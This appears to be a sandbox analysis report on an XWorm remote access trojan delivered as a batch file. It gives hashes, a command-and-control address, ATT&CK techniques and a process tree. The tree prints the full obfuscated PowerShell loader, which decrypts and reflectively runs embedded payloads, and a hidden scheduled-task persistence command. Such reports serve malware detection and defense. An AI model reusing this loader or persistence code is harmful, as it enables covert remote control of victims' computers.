xworm | 9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

Resubmissions

05/05/2024, 04:11

240505-er3qdahf98 10

Analysis

max time kernel
134s
max time network
141s
platform
windows10-2004_x64
resource
win10v2004-20240419-en
resource tags

arch:x64arch:x86image:win10v2004-20240419-enlocale:en-usos:windows10-2004-x64system
submitted
05/05/2024, 04:11

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General

Target

XClient_Dealed.bat
Size

152KB
MD5

0b426e8571f8d3e437b7a42e9b8fd808
SHA1

986edba4c39be9edb552284dac555e2e95f68a4a
SHA256

9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e
SHA512

e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021
SSDEEP

3072:TXHtlYzFn8xKlZqwe64MpN9Q2cLNt0hcjhK7ZmVG/:rUB8gQMpvQ2Er0aG/

Score

10^/10

xworm execution rat trojan

Malware Config

Extracted

Family

xworm

Version

5.0

94.156.8.167:2020

Mutex

8sPZSP21r8KwS1LM

Attributes

install_file
USB.exe

aes.plain

Signatures

Detect Xworm Payload 1 IoCs

resource	yara_rule
behavioral2/memory/4584-50-0x000001A278850000-0x000001A27885E000-memory.dmp	family_xworm

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Blocklisted process makes network request 1 IoCs

flow	pid	Process
26	4584	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4584	powershell.exe
4060	powershell.exe
2340	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2818691465-3043947619-2475182763-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
4060	powershell.exe
4060	powershell.exe
2340	powershell.exe
2340	powershell.exe
4584	powershell.exe
4584	powershell.exe
4584	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4060	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe
Token: 36	2340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2340	powershell.exe
Token: SeSecurityPrivilege	2340	powershell.exe
Token: SeTakeOwnershipPrivilege	2340	powershell.exe
Token: SeLoadDriverPrivilege	2340	powershell.exe
Token: SeSystemProfilePrivilege	2340	powershell.exe
Token: SeSystemtimePrivilege	2340	powershell.exe
Token: SeProfSingleProcessPrivilege	2340	powershell.exe
Token: SeIncBasePriorityPrivilege	2340	powershell.exe
Token: SeCreatePagefilePrivilege	2340	powershell.exe
Token: SeBackupPrivilege	2340	powershell.exe
Token: SeRestorePrivilege	2340	powershell.exe
Token: SeShutdownPrivilege	2340	powershell.exe
Token: SeDebugPrivilege	2340	powershell.exe
Token: SeSystemEnvironmentPrivilege	2340	powershell.exe
Token: SeRemoteShutdownPrivilege	2340	powershell.exe
Token: SeUndockPrivilege	2340	powershell.exe
Token: SeManageVolumePrivilege	2340	powershell.exe
Token: 33	2340	powershell.exe
Token: 34	2340	powershell.exe
Token: 35	2340	powershell.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 1932 wrote to memory of 1648	1932	cmd.exe	88
PID 1932 wrote to memory of 1648	1932	cmd.exe	88
PID 1932 wrote to memory of 4060	1932	cmd.exe	89
PID 1932 wrote to memory of 4060	1932	cmd.exe	89
PID 4060 wrote to memory of 2340	4060	powershell.exe	93
PID 4060 wrote to memory of 2340	4060	powershell.exe	93
PID 4060 wrote to memory of 3880	4060	powershell.exe	97
PID 4060 wrote to memory of 3880	4060	powershell.exe	97
PID 3880 wrote to memory of 1696	3880	WScript.exe	98
PID 3880 wrote to memory of 1696	3880	WScript.exe	98
PID 1696 wrote to memory of 4068	1696	cmd.exe	100
PID 1696 wrote to memory of 4068	1696	cmd.exe	100
PID 1696 wrote to memory of 4584	1696	cmd.exe	101
PID 1696 wrote to memory of 4584	1696	cmd.exe	101

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\XClient_Dealed.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:1932
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Local\Temp\XClient_Dealed.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
  2⤵
  PID:1648
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4060
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'Windows_Log_287_str' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Users\Admin\AppData\Roaming\Windows_Log_287.vbs') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2340
- - C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\Windows_Log_287.vbs"
    3⤵
    - Checks computer location settings
    - Suspicious use of WriteProcessMemory
    PID:3880
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Roaming\Windows_Log_287.bat" "
      4⤵
      Suspicious use of WriteProcessMemory
      PID:1696
    - - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /S /D /c" echo function decrypt_function($param_var){ $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('j9v/MRsvo8rPIZTuYpVL9r5+b1tKh4/IvXdLJbSprpc='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('S2gRLww5OmjzwLPcS3ad8Q=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ $rcwOy=New-Object System.IO.MemoryStream(,$param_var); $TisVE=New-Object System.IO.MemoryStream; $XDooL=New-Object System.IO.Compression.GZipStream($rcwOy, [IO.Compression.CompressionMode]::Decompress); $XDooL.CopyTo($TisVE); $XDooL.Dispose(); $rcwOy.Dispose(); $TisVE.Dispose(); $TisVE.ToArray();}function execute_function($param_var,$param2_var){ $TXMac=[System.Reflection.Assembly]::('daoL'[-1..-4] -join '')([byte[]]$param_var); $KbKqR=$TXMac.EntryPoint; $KbKqR.Invoke($null, $param2_var);}$IXbeQ = 'C:\Users\Admin\AppData\Roaming\Windows_Log_287.bat';$host.UI.RawUI.WindowTitle = $IXbeQ;$Ytldu=[System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')($IXbeQ).Split([Environment]::NewLine);foreach ($jWeCV in $Ytldu) { if ($jWeCV.StartsWith('PpiliAyQziuRKPrYAOkn')) { $YHaeW=$jWeCV.Substring(20); break; }}$payloads_var=[string[]]$YHaeW.Split('\');$payload1_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[0].Replace('#', '/').Replace('@', 'A'))));$payload2_var=decompress_function (decrypt_function ([Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($payloads_var[1].Replace('#', '/').Replace('@', 'A'))));execute_function $payload1_var $null;execute_function $payload2_var (,[string[]] ('')); "
        5⤵
        
        PID:4068
    - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden
        5⤵
        Blocklisted process makes network request
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4584

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
3KB

MD5
661739d384d9dfd807a089721202900b

SHA1
5b2c5d6a7122b4ce849dc98e79a7713038feac55

SHA256
70c3ecbaa6df88e88df4efc70968502955e890a2248269641c4e2d4668ef61bf

SHA512
81b48ae5c4064c4d9597303d913e32d3954954ba1c8123731d503d1653a0d848856812d2ee6951efe06b1db2b91a50e5d54098f60c26f36bc8390203f4c8a2d8

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-Interactive

Filesize
2KB

MD5
005bc2ef5a9d890fb2297be6a36f01c2

SHA1
0c52adee1316c54b0bfdc510c0963196e7ebb430

SHA256
342544f99b409fd415b305cb8c2212c3e1d95efc25e78f6bf8194e866ac45b5d

SHA512
f8aadbd743495d24d9476a5bb12c8f93ffb7b3cc8a8c8ecb49fd50411330c676c007da6a3d62258d5f13dd5dacc91b28c5577f7fbf53c090b52e802f5cc4ea22

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_kpz4iplf.0xm.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_287.bat

Filesize
152KB

MD5
0b426e8571f8d3e437b7a42e9b8fd808

SHA1
986edba4c39be9edb552284dac555e2e95f68a4a

SHA256
9c1a4e3a1c90d013a9465ab585ad7a9cfc378ebdbe77fc1548cb81c791e6914e

SHA512
e2efb8ba96b4c11b6167f085d5545e7e4971850e3c57f76957b8a0b0e1896537d935d123de93c1ebfd3efab34139e9bf902911ba54f20ddffad21edeeb16b021

Download Submit
C:\Users\Admin\AppData\Roaming\Windows_Log_287.vbs

Filesize
115B

MD5
6c08e08d268b418e7afaecac5bf70005

SHA1
5ec3ede6bbcdb6ed9502605d0922de030a466bd7

SHA256
493ea86adb00e5abdf59eb868261c78835f228c34c0f17de6202597a5ce30eb0

SHA512
de04731394450d260fd3c414fe7169f3d9a0f4f87c651d9b30ef6824c5fe4993de92fabfec3de926c5dd78b81e4d5a80f62b10a32c0f70a00167952c895729bc

Download Submit
memory/2340-18-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-32-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-29-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/2340-28-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-12-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-16-0x0000018FF7D10000-0x0000018FF7D2E000-memory.dmp

Filesize
120KB

Download
memory/4060-15-0x0000018FF7D00000-0x0000018FF7D08000-memory.dmp

Filesize
32KB

Download
memory/4060-14-0x0000018FF7E00000-0x0000018FF7E76000-memory.dmp

Filesize
472KB

Download
memory/4060-13-0x0000018FF7D30000-0x0000018FF7D74000-memory.dmp

Filesize
272KB

Download
memory/4060-0-0x00007FFF3D133000-0x00007FFF3D135000-memory.dmp

Filesize
8KB

Download
memory/4060-11-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/4060-1-0x0000018FF7920000-0x0000018FF7942000-memory.dmp

Filesize
136KB

Download
memory/4060-51-0x00007FFF3D130000-0x00007FFF3DBF1000-memory.dmp

Filesize
10.8MB

Download
memory/4584-50-0x000001A278850000-0x000001A27885E000-memory.dmp

Filesize
56KB

Download